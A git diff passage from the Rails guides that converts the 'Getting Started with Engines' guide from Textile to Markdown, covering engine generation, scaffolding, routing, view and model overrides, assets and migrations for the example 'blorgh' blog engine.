+The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests.
+
+### Functional tests
+
+A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application -- the `test/dummy` application -- rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this:
+
+```ruby
+get :index
+```
+
+It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must pass the `:use_route` option (as a parameter) on these requests also:
+
+```ruby
+get :index, :use_route => :blorgh
+```
+
+This tells the application that you still want to perform a `GET` request to the `index` action of this controller, just that you want to use the engine's route to get there, rather than the application.
+
+Improving engine functionality
+------------------------------
+
+This section explains how to add and/or override engine MVC functionality in the main Rails application.
+
+### Overriding Models and Controllers
+
+Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main applicaiton. This is usually implemented by using the decorator pattern.
+
+For simple class modifications use `Class#class_eval`, and for complex class modifications, consider using `ActiveSupport::Concern`.
+
+#### Implementing Decorator Pattern Using Class#class_eval
+
+**Adding** `Post#time_since_created`,
+
+```ruby
+# MyApp/app/decorators/models/blorgh/post_decorator.rb
+
+Blorgh::Post.class_eval do
+ def time_since_created
+ Time.current - created_at
+ end
+end
+```
+
+```ruby
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+ has_many :comments
+end
+```
+
+
+**Overriding** `Post#summary`
+
+```ruby
+# MyApp/app/decorators/models/blorgh/post_decorator.rb
+
+Blorgh::Post.class_eval do
+ def summary
+ "#{title} - #{truncate(text)}"
+ end
+end
+```
+
+```ruby
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+ has_many :comments
+ def summary
+ "#{title}"
+ end
+end
+```
+
+#### Implementing Decorator Pattern Using ActiveSupport::Concern
+
+Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using [`ActiveSupport::Concern`](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html) helps manage load order of interlinked dependencies at run time allowing you to significantly modularize your code.
+
+**Adding** `Post#time_since_created`<br/>
+**Overriding** `Post#summary`
+
+```ruby
+# MyApp/app/models/blorgh/post.rb
+
+class Blorgh::Post < ActiveRecord::Base
+ include Blorgh::Concerns::Models::Post
+
+ def time_since_created
+ Time.current - created_at
+ end
+
+ def summary
+ "#{title} - #{truncate(text)}"
+ end
+end
+```
+
+```ruby
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+ include Blorgh::Concerns::Models::Post
+end
+```
+
+```ruby
+# Blorgh/lib/concerns/models/post
+
+module Blorgh::Concerns::Models::Post
+ extend ActiveSupport::Concern
+
+ # 'included do' causes the included code to be evaluated in the
+ # conext where it is included (post.rb), rather than be
+ # executed in the module's context (blorgh/concerns/models/post).
+ included do
+ attr_accessor :author_name
+ belongs_to :author, :class_name => "User"
+
+ before_save :set_author
+
+ private
+
+ def set_author
+ self.author = User.find_or_create_by_name(author_name)
+ end
+ end
+
+ def summary
+ "#{title}"
+ end
+
+ module ClassMethods
+ def some_class_method
+ 'some class method string'
+ end
+ end
+end
+```
+
+### Overriding views
+
+When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory.
+
+In the `blorgh` engine, there is a currently a file at `app/views/blorgh/posts/index.html.erb`. When the engine is asked to render the view for `Blorgh::PostsController`'s `index` action, it will first see if it can find it at `app/views/blorgh/posts/index.html.erb` within the application and then if it cannot it will look inside the engine.
+
+You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output.
+
+Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it:
+
+```html+erb
+<h1>Posts</h1>
+<%= link_to "New Post", new_post_path %>
+<% @posts.each do |post| %>
+ <h2><%= post.title %></h2>
+ <small>By <%= post.author %></small>
+ <%= simple_format(post.text) %>
+ <hr>
+<% end %>
+```
+
+### Routes
+
+Routes inside an engine are, by default, isolated from the application. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes, and that they will not clash.
+
+Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this:
+
+```ruby
+Blorgh::Engine.routes.draw do
+ resources :posts
+end
+```
+
+By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `posts_path` may end up going to undesired locations if both the application and the engine both have such a helper defined.
+
+For instance, the following example would go to the application's `posts_path` if that template was rendered from the application, or the engine's `posts_path` if it was rendered from the engine:
+
+```erb
+<%= link_to "Blog posts", posts_path %>
+```
+
+To make this route always use the engine's `posts_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.
+
+```erb
+<%= link_to "Blog posts", blorgh.posts_path %>
+```
+
+If you wish to reference the application inside the engine in a similar way, use the `main_app` helper:
+
+```erb
+<%= link_to "Home", main_app.root_path %>
+```
+
+If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.
+
+If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine.
+
+### Assets
+
+Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up in the engine's `app/assets` and `lib/assets` directories for potential assets.
+
+Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored.
+
+Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css` To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine:
+
+```erb
+<%= stylesheet_link_tag "blorgh/style.css" %>
+```
+
+You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files:
+
+```
+/*
+ *= require blorgh/style
+*/
+```
+
+INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`.
+
+### Separate Assets & Precompiling
+
+There are some situations where your engine's assets are not required by the host application. For example, say that you've created
+an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css`
+or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorg/admin.css"` in it's stylesheets. In this situation, you should explicitly define these assets for precompilation.
+This tells sprockets to add your engine assets when `rake assets:precompile` is ran.
+
+You can define assets for precompilation in `engine.rb`
+
+```ruby
+initializer "blorgh.assets.precompile" do |app|
+ app.config.assets.precompile += %w(admin.css admin.js)
+end
+```
+
+For more information, read the [Asset Pipeline guide](http://guides.rubyonrails.org/asset_pipeline.html)
+
+### Other gem dependencies
+
+Gem dependencies inside an engine should be specified inside the `.gemspec` file at the root of the engine. The reason for this is because the engine may
+be installed as a gem. If dependencies were to be specified inside the `Gemfile`,
+these would not be recognised by a traditional gem install and so they would not
+be installed, causing the engine to malfunction.
+
+To specify a dependency that should be installed with the engine during a
+traditional `gem install`, specify it inside the `Gem::Specification` block
+inside the `.gemspec` file in the engine:
+
+```ruby
+s.add_dependency "moo"
+```
+
+To specify a dependency that should only be installed as a development
+dependency of the application, specify it like this:
+
+```ruby
+s.add_development_dependency "moo"
+```
+
+Both kinds of dependencies will be installed when `bundle install` is run inside
+the application. The development dependencies for the gem will only be used when
+the tests for the engine are running.
+
+Note that if you want to immediately require dependencies when the engine is
+required, you should require them before the engine's initialization. For example:
+
+```ruby
+require 'other_engine/engine'
+require 'yet_another_engine/engine'
+
+module MyEngine
+ class Engine < ::Rails::Engine
+ end
+end
+```
diff --git a/guides/source/engines.textile b/guides/source/engines.textile
deleted file mode 100644
index de4bbb5656..0000000000
--- a/guides/source/engines.textile
+++ /dev/null
@@ -1,912 +0,0 @@
-h2. Getting Started with Engines
-
-In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide:
-
-* What makes an engine
-* How to generate an engine
-* Building features for the engine
-* Hooking the engine into an application
-* Overriding engine functionality in the application
-
-endprologue.
-
-h3. What are engines?
-
-Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting a lot of its behaviour from +Rails::Engine+.
-
-Therefore, engines and applications can be thought of almost the same thing, just with very minor differences, as you'll see throughout this guide. Engines and applications also share a common structure.
-
-Engines are also closely related to plugins where the two share a common +lib+ directory structure and are both generated using the +rails plugin new+ generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the +--full+ option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine *can* be a plugin, and a plugin *can* be an engine.
-
-The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.
-
-Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as +posts_path+ and use an engine also that provides a path also called +posts_path+, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.
-
-It's important to keep in mind at all times that the application should *always* take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically.
-
-To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality. There's also "Spree":https://github.com/spree/spree which provides an e-commerce platform, and "RefineryCMS":https://github.com/resolve/refinerycms, a CMS engine.
-
-Finally, engines would not have be possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
-
-h3. Generating an engine
-
-To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--full+ and +--mountable+ options. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal:
-
-<shell>
-$ rails plugin new blorgh --full --mountable
-</shell>
-
-The full list of options for the plugin generator may be seen by typing:
-
-<shell>
-$ rails plugin --help
-</shell>
-
-The +--full+ option tells the plugin generator that you want to create an engine (which is a mountable plugin, hence the option name), creating the basic directory structure of an engine by providing things such as the foundations of an +app+ folder, as well a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to an application's +config/application.rb+ file.
-
-The +--mountable+ option tells the generator to mount the engine inside the dummy testing application located at +test/dummy+ inside the engine. It does this by placing this line in to the dummy application's +config/routes.rb+ file, located at +test/dummy/config/routes.rb+ inside the engine:
-
-<ruby>
-mount Blorgh::Engine, :at => "blorgh"
-</ruby>
-
-h4. Inside an engine
-
-h5. Critical files
-
-At the root of this brand new engine's directory, lives a +blorgh.gemspec+ file. When you include the engine into the application later on, you will do so with this line in a Rails application's +Gemfile+:
-
-<ruby>
-gem 'blorgh', :path => "vendor/engines/blorgh"
-</ruby>
-
-By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+.
-
-<ruby>
-require "blorgh/engine"
-
-module Blorgh
-end
-</ruby>
-
-TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you're wanting offer configuration options, the file where your engine's +module+ is defined is perfect for that. Place the methods inside the module and you'll be good to go.
-
-Within +lib/blorgh/engine.rb+ is the base class for the engine:
-
-<ruby>
-module Blorgh
- class Engine < Rails::Engine
- isolate_namespace Blorgh
- end
-end
-</ruby>
-
-By inheriting from the +Rails::Engine+ class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the +app+ directory of the engine to the load path for models, mailers, controllers and views.
-
-The +isolate_namespace+ method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling +isolate_namespace+, engine's helpers would be included in application's controllers.
-
-NOTE: It is *highly* recommended that the +isolate_namespace+ line be left within the +Engine+ class definition. Without it, classes generated in an engine *may* conflict with an application.
-
-What this isolation of the namespace means is that a model generated by a call to +rails g model+ such as +rails g model post+ wouldn't be called +Post+, but instead be namespaced and called +Blorgh::Post+. In addition to this, the table for the model is namespaced, becoming +blorgh_posts+, rather than simply +posts+. Similar to the model namespacing, a controller called +PostsController+ would be +Blorgh::Postscontroller+ and the views for that controller would not be at +app/views/posts+, but rather +app/views/blorgh/posts+. Mailers would be namespaced as well.
-
-Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the "Routes":#routes section of this guide.
-
-h5. +app+ directory
-
-Inside the +app+ directory there is the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine.
-
-Within the +app/assets+ directory, there is the +images+, +javascripts+ and +stylesheets+ directories which, again, you should be familiar with due to their similarities of an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.
-
-Within the +app/controllers+ directory there is a +blorgh+ directory and inside that a file called +application_controller.rb+. This file will provide any common functionality for the controllers of the engine. The +blorgh+ directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.
-
-NOTE: The +ApplicationController+ class is called as such inside an engine -- rather than +EngineController+ -- mainly due to that if you consider that an engine is really just a mini-application, it makes sense. You should also be able to convert an application to an engine with relatively little pain, and this is just one of the ways to make that process easier, albeit however so slightly.
-
-Lastly, the +app/views+ directory contains a +layouts+ folder which contains file at +blorgh/application.html.erb+ which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the applications +app/views/layouts/application.html.erb+ file.
-
-If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.
-
-h5. +script+ directory
-
-This directory contains one file, +script/rails+, which enables you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this:
-
-<shell>
-rails g model
-</shell>
-
-Keeping in mind, of course, that anything generated with these commands inside an engine that has +isolate_namespace+ inside the Engine class will be namespaced.
-
-h5. +test+ directory
-
-The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file:
-
-<ruby>
-Rails.application.routes.draw do
- mount Blorgh::Engine => "/blorgh"
-end
-</ruby>
-
-This line mounts the engine at the path of +/blorgh+, which will make it accessible through the application only at that path.
-
-Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed. Other directories can be created in the +test+ directory also. For example, you may wish to create a +test/unit+ directory for your unit tests.
-
-h3. Providing engine functionality
-
-The engine that this guide covers will provide posting and commenting functionality and follows a similar thread to the "Getting Started Guide":getting_started.html, with some new twists.
-
-h4. Generating a post resource
-
-The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator.
-
-<shell>
-$ rails generate scaffold post title:string text:text
-</shell>
-
-This command will output this information:
-
-<shell>
-invoke active_record
-create db/migrate/[timestamp]_create_blorgh_posts.rb
-create app/models/blorgh/post.rb
-invoke test_unit
-create test/unit/blorgh/post_test.rb
-create test/fixtures/blorgh/posts.yml
- route resources :posts
-invoke scaffold_controller
-create app/controllers/blorgh/posts_controller.rb
-invoke erb
-create app/views/blorgh/posts
-create app/views/blorgh/posts/index.html.erb
-create app/views/blorgh/posts/edit.html.erb
-create app/views/blorgh/posts/show.html.erb
-create app/views/blorgh/posts/new.html.erb
-create app/views/blorgh/posts/_form.html.erb
-invoke test_unit
-create test/functional/blorgh/posts_controller_test.rb
-invoke helper
-create app/helpers/blorgh/posts_helper.rb
-invoke test_unit
-create test/unit/helpers/blorgh/posts_helper_test.rb
-invoke assets
-invoke js
-create app/assets/javascripts/blorgh/posts.js
-invoke css
-create app/assets/stylesheets/blorgh/posts.css
-invoke css
-create app/assets/stylesheets/scaffold.css
-</shell>
-
-The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+ due to the +isolate_namespace+ call within the +Engine+ class.
-
-Next, the +test_unit+ generator is invoked for this model, generating a unit test at +test/unit/blorgh/post_test.rb+ (rather than +test/unit/post_test.rb+) and a fixture at +test/fixtures/blorgh/posts.yml+ (rather than +test/fixtures/posts.yml+).
-
-After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file for the engine into this:
-
-<ruby>
-Blorgh::Engine.routes.draw do
- resources :posts
-end
-</ruby>
-
-Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section. This is also what causes the engine's routes to be isolated from those routes that are within the application. This is discussed further in the "Routes":#routes section of this guide.
-
-Next, the +scaffold_controller+ generator is invoked, generating a controlled called +Blorgh::PostsController+ (at +app/controllers/blorgh/posts_controller.rb+) and its related views at +app/views/blorgh/posts+. This generator also generates a functional test for the controller (+test/functional/blorgh/posts_controller_test.rb+) and a helper (+app/helpers/blorgh/posts_controller.rb+).
-
-Everything this generator has created is neatly namespaced. The controller's class is defined within the +Blorgh+ module:
-
-<ruby>
-module Blorgh
- class PostsController < ApplicationController
- ...
- end
-end
-</ruby>
-
-NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+.
-
-The helper inside +app/helpers/blorgh/posts_helper.rb+ is also namespaced:
-
-<ruby>
-module Blorgh
- class PostsHelper
- ...
- end
-end
-</ruby>
-
-This helps prevent conflicts with any other engine or application that may have a post resource also.
-
-Finally, two files that are the assets for this resource are generated, +app/assets/javascripts/blorgh/posts.js+ and +app/assets/javascripts/blorgh/posts.css+. You'll see how to use these a little later.
-
-By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +<head>+ tag of this layout:
-
-<erb>
-<%= stylesheet_link_tag "scaffold" %>
-</erb>
-
-You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+ in +test/dummy+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.
-
-If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+.
-
-<ruby>
->> Blorgh::Post.find(1)
-=> #<Blorgh::Post id: 1 ...>
-</ruby>
-
-One final thing is that the +posts+ resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the +config/routes.rb+ file inside the engine:
-
-<ruby>
-root :to => "posts#index"
-</ruby>
-
-Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+. This means that instead of +http://localhost:3000/blorgh/posts+, you only need to go to +http://localhost:3000/blorgh+ now.
-
-h4. Generating a comments resource
-
-Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
-
-Run the model generator and tell it to generate a +Comment+ model, with the related table having two columns: a +post_id+ integer and +text+ text column.
-
-<shell>
-$ rails generate model Comment post_id:integer text:text
-</shell>
-
-This will output the following:
-
-<shell>
-invoke active_record
-create db/migrate/[timestamp]_create_blorgh_comments.rb
-create app/models/blorgh/comment.rb
-invoke test_unit
-create test/unit/blorgh/comment_test.rb
-create test/fixtures/blorgh/comments.yml
-</shell>
-
-This generator call will generate just the necessary model files it needs, namespacing the files under a +blorgh+ directory and creating a model class called +Blorgh::Comment+.
-
-To show the comments on a post, edit +app/views/blorgh/posts/show.html.erb+ and add this line before the "Edit" link:
-
-<erb>
-<h3>Comments</h3>
-<%= render @post.comments %>
-</erb>
-
-This line will require there to be a +has_many+ association for comments defined on the +Blorgh::Post+ model, which there isn't right now. To define one, open +app/models/blorgh/post.rb+ and add this line into the model:
-
-<ruby>
-has_many :comments
-</ruby>
-
-Turning the model into this:
-
-<ruby>
-module Blorgh
- class Post < ActiveRecord::Base
- has_many :comments
- end
-end
-</ruby>
-
-NOTE: Because the +has_many+ is defined inside a class that is inside the +Blorgh+ module, Rails will know that you want to use the +Blorgh::Comment+ model for these objects, so there's no need to specify that using the +:class_name+ option here.
-
-Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to +render @post.comments+ in +app/views/blorgh/posts/show.html.erb+:
-
-<erb>
-<%= render "blorgh/comments/form" %>
-</erb>
-
-Next, the partial that this line will render needs to exist. Create a new directory at +app/views/blorgh/comments+ and in it a new file called +_form.html.erb+ which has this content to create the required partial:
-
-<erb>
-<h3>New comment</h3>
-<%= form_for [@post, @post.comments.build] do |f| %>
- <p>
- <%= f.label :text %><br />
- <%= f.text_area :text %>
- </p>
- <%= f.submit %>
-<% end %>
-</erb>
-
-When this form is submitted, it is going to attempt to perform a +POST+ request to a route of +/posts/:post_id/comments+ within the engine. This route doesn't exist at the moment, but can be created by changing the +resources :posts+ line inside +config/routes.rb+ into these lines:
-
-<ruby>
-resources :posts do
- resources :comments
-end
-</ruby>
-
-This creates a nested route for the comments, which is what the form requires.
-
-The route now exists, but the controller that this route goes to does not. To create it, run this command:
-
-<shell>
-$ rails g controller comments
-</shell>
-
-This will generate the following things:
-
-<shell>
-create app/controllers/blorgh/comments_controller.rb
-invoke erb
- exist app/views/blorgh/comments
-invoke test_unit
-create test/functional/blorgh/comments_controller_test.rb
-invoke helper
-create app/helpers/blorgh/comments_helper.rb
-invoke test_unit
-create test/unit/helpers/blorgh/comments_helper_test.rb
-invoke assets
-invoke js
-create app/assets/javascripts/blorgh/comments.js
-invoke css
-create app/assets/stylesheets/blorgh/comments.css
-</shell>
-
-The form will be making a +POST+ request to +/posts/:post_id/comments+, which will correspond with the +create+ action in +Blorgh::CommentsController+. This action needs to be created and can be done by putting the following lines inside the class definition in +app/controllers/blorgh/comments_controller.rb+:
-
-<ruby>
-def create
- @post = Post.find(params[:post_id])
- @comment = @post.comments.create(params[:comment])
- flash[:notice] = "Comment has been created!"
- redirect_to post_path
-end
-</ruby>
-
-This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
-
-<plain>
-Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
- * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
- * "/Users/ryan/Sites/side_projects/blorgh/app/views"
-</plain>
-
-The engine is unable to find the partial required for rendering the comments. Rails has looked firstly in the application's (+test/dummy+) +app/views+ directory and then in the engine's +app/views+ directory. When it can't find it, it will throw this error. The engine knows to look for +blorgh/comments/comment+ because the model object it is receiving is from the +Blorgh::Comment+ class.
-
-This partial will be responsible for rendering just the comment text, for now. Create a new file at +app/views/blorgh/comments/_comment.html.erb+ and put this line inside it:
-
-<erb>
-<%= comment_counter + 1 %>. <%= comment.text %>
-</erb>
-
-The +comment_counter+ local variable is given to us by the +<%= render @post.comments %>+ call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
-
-That completes the comment function of the blogging engine. Now it's time to use it within an application.
-
-h3. Hooking into an application
-
-Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required for it, as well as linking the engine to a +User+ class provided by the application to provide ownership for posts and comments within the engine.
-
-h4. Mounting the engine
-
-First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this:
-
-<shell>
-$ rails new unicorn
-</shell>
-
-Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
-
-<ruby>
-gem 'devise'
-</ruby>
-
-Because the +blorgh+ engine is still under development, it will need to have a +:path+ option for its +Gemfile+ specification:
-
-<ruby>
-gem 'blorgh', :path => "/path/to/blorgh"
-</ruby>
-
-If the whole +blorgh+ engine directory is copied to +vendor/engines/blorgh+ then it could be specified in the +Gemfile+ like this:
-
-<ruby>
-gem 'blorgh', :path => "vendor/engines/blorgh"
-</ruby>
-
-As described earlier, by placing the gem in the +Gemfile+ it will be loaded when Rails is loaded, as it will first require +lib/blorgh.rb+ in the engine and then +lib/blorgh/engine.rb+, which is the file that defines the major pieces of functionality for the engine.
-
-To make the engine's functionality accessible from within an application, it needs to be mounted in that application's +config/routes.rb+ file:
-
-<ruby>
-mount Blorgh::Engine, :at => "/blog"
-</ruby>
-
-This line will mount the engine at +/blog+ in the application. Making it accessible at +http://localhost:3000/blog+ when the application runs with +rails server+.
-
-NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as +devise_for+ in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
-
-h4. Engine setup
-
-The engine contains migrations for the +blorgh_posts+ and +blorgh_comments+ table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
-
-<shell>
-$ rake blorgh:install:migrations
-</shell>
-
-If you have multiple engines that need migrations copied over, use +railties:install:migrations+ instead:
-
-<shell>
-$ rake railties:install:migrations
-</shell>
-
-This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:
-
-<shell>
-Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
-Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
-</shell>
-
-The first timestamp (+\[timestamp_1\]+) will be the current time and the second timestamp (+\[timestamp_2\]+) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
-
-To run these migrations within the context of the application, simply run +rake db:migrate+. When accessing the engine through +http://localhost:3000/blog+, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.
-
-If you would like to run migrations only from one engine, you can do it by specifying +SCOPE+:
-
-<shell>
-rake db:migrate SCOPE=blorgh
-</shell>
-
-This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code:
-
-<shell>
-rake db:migrate SCOPE=blorgh VERSION=0
-</shell>
-
-h4. Using a class provided by the application
-
-h5. Using a model provided by the application
-
-When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the +blorgh+ engine, making posts and comments have authors would make a lot of sense.
-
-Usually, an application would have a +User+ class that would provide the objects that would represent the posts' and comments' authors, but there could be a case where the application calls this class something different, such as +Person+. It's because of this reason that the engine should not hardcode the associations to be exactly for a +User+ class, but should allow for some flexibility around what the class is called.
-
-To keep it simple in this case, the application will have a class called +User+ which will represent the users of the application. It can be generated using this command inside the application:
-
-<shell>
-rails g model user name:string
-</shell>
-
-The +rake db:migrate+ command needs to be run here to ensure that our application has the +users+ table for future use.
-
-Also, to keep it simple, the posts form will have a new text field called +author_name+ where users can elect to put their name. The engine will then take this name and create a new +User+ object from it or find one that already has that name, and then associate the post with it.
-
-First, the +author_name+ text field needs to be added to the +app/views/blorgh/posts/_form.html.erb+ partial inside the engine. This can be added above the +title+ field with this code:
-
-<erb>
-<div class="field">
- <%= f.label :author_name %><br />
- <%= f.text_field :author_name %>
-</div>
-</erb>
-
-The +Blorgh::Post+ model should then have some code to convert the +author_name+ field into an actual +User+ object and associate it as that post's +author+ before the post is saved. It will also need to have an +attr_accessor+ setup for this field so that the setter and getter methods are defined for it.
-
-To do all this, you'll need to add the +attr_accessor+ for +author_name+, the association for the author and the +before_save+ call into +app/models/blorgh/post.rb+. The +author+ association will be hard-coded to the +User+ class for the time being.
-
-<ruby>
-attr_accessor :author_name
-belongs_to :author, :class_name => "User"
-
-before_save :set_author
-
-private
- def set_author
- self.author = User.find_or_create_by_name(author_name)
- end
-</ruby>
-
-By defining that the +author+ association's object is represented by the +User+ class a link is established between the engine and the application. There needs to be a way of associating the records in the +blorgh_posts+ table with the records in the +users+ table. Because the association is called +author+, there should be an +author_id+ column added to the +blorgh_posts+ table.
-
-To generate this new column, run this command within the engine:
-
-<shell>
-$ rails g migration add_author_id_to_blorgh_posts author_id:integer
-</shell>
-
-NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.
-
-This migration will need to be run on the application. To do that, it must first be copied using this command:
-
-<shell>
-$ rake blorgh:install:migrations
-</shell>
-
-Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run.
-
-<plain>
-NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists.
-NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists.
-Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
-</plain>
-
-Run this migration using this command:
-
-<shell>
-$ rake db:migrate
-</shell>
-
-Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the +users+ table -- with a post, represented by the +blorgh_posts+ table from the engine.
-
